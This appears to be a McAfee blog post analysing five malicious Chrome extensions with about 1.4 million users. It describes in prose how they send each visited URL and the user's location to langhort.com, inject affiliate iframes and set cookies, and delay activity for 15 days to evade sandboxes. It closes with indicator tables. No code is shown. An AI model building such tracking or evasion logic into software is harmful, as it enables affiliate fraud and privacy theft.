Full Page Screenshot Capture – Screenshotting
|
pojgkmkfincpdkdgjepkmdekcahmckjp | 200,000 |
| AutoBuy Flash Sales | gbnahglfafmhaehbdmjedfhdmimjcbed | 20,000 |
This section contains the technical analysis of the malicious chrome extension ‘mmnbenehknklpbendgmgngeaignppnbe’. All 5 extensions perform similar behavior.
The manifest.json sets the background page as bg.html. This HTML file loads b0.js and this is responsible for sending the URL being visited and injecting code into the eCommerce sites.
The b0.js script contains many functions. This blog will focus on the functions which are responsible for sending the visited URLs to the server and processing the response.
Chrome extensions work by subscribing to events which they then use as triggers to perform a certain activity. The extensions analyzed subscribe to events coming from chrome.tabs.onUpdated. chrome.tabs.onUpdated will trigger when a user navigates to a new URL within a tab.
Once this event triggers, the extension will set a variable called curl with the URL of the tab by using the tab.url variable. It creates several other variables which are then sent to d.langhort.com. The POST data is in the following format:
| Variable | Description |
| Ref | Base64 encoded referral URL |
| County | The county of the device |
| City | The city of the device |
| Zip | The zip code of the device |
| Apisend | A random ID generated for the user. |
| Name | Base64 encoded URL being visited |
| ext_name | The name of the chrome extensions |
The random ID is created by selecting 8 random characters in a character set. The code is shown below:
The country, city, and zip are gathered using ip-api.com. The code is shown below:
Upon receiving the URL, langhort.com will check if it matches a list of websites that it has an affiliate ID for, and If it does, it will respond to the query. An example of this is shown below:
The data returned is in JSON format. The response is checked using the function below and will invoke further functions depending on what the response contains.
Two of the functions are detailed below:
If the result is ‘c’ such as the one in this blog, the extension will query the returned URL. It will then check the response and if the status is 200 or 404, it will check if the query responded with a URL. If it did, it would insert the URL that is received from the server as an Iframe on the website being visited.
If the result is ‘e’, the extension would insert the result as a cookie. We were unable to find a response of ‘e’ during our analysis, but this would enable the authors to add any cookie to any website as the extensions had the correct ‘cookie’ permissions.
The images below show the step-by-step flow of events while navigating to the BestBuy website.
Here is a video of the events
We discovered an interesting trick in a few of the extensions that would prevent malicious activity from being identified in automated analysis environments. They contained a time check before they would perform any malicious activity. This was done by checking if the current date is > 15 days from the time of installation.
This blog highlights the risk of installing extensions, even those that have a large install base as they can still contain malicious code.
McAfee advises its customers to be cautious when installing Chrome extensions and pay attention to the permissions that they are requesting.
The permissions will be shown by Chrome before the installation of the extension. Customers should take extra steps to verify the authenticity if the extension is requesting permissions that enable it to run on every website you visit such as the one detailed in this blog
McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee WebAdvisor as shown below.
The Malicious code within the extension is detected as JTI/Suspect. Please perform a ‘Full’ scan via the product.
| Type | Value | Product | Detected |
| Chrome Extension | Netflix Party – mmnbenehknklpbendgmgngeaignppnbe | Total Protection and LiveSafe | JTI/Suspect |
| Chrome Extension | FlipShope – Price Tracker Extension – Version 3.0.7.0 – adikhbfjdbjkhelbdnffogkobkekkkej | Total Protection and LiveSafe | JTI/Suspect |
| Chrome Extension |
Full Page Screenshot Capture
pojgkmkfincpdkdgjepkmdekcahmckjp |
Total Protection and LiveSafe | JTI/Suspect |
| Chrome Extension | Netflix Party 2 – flijfnhifgdcbhglkneplegafminjnhn | Total Protection and LiveSafe | JTI/Suspect |
| Chrome Extension | AutoBuy Flash Sales gbnahglfafmhaehbdmjedfhdmimjcbed | Total Protection and LiveSafe | JTI/Suspect |
| URL | www.netflixparty1.com | McAfee WebAdvisor | Blocked |
| URL | netflixpartyplus.com | McAfee WebAdvisor | Blocked |
| URL | goscreenshotting.com | McAfee WebAdvisor | Blocked |
| URL | langhort.com | McAfee WebAdvisor | Blocked |
| URL | Unscart.in | McAfee WebAdvisor | Blocked |
| URL | autobuyapp.com | McAfee WebAdvisor | Blocked |
The post Malicious Cookie Stuffing Chrome Extensions with 1.4 Million Users appeared first on McAfee Blog.
FreshRSS 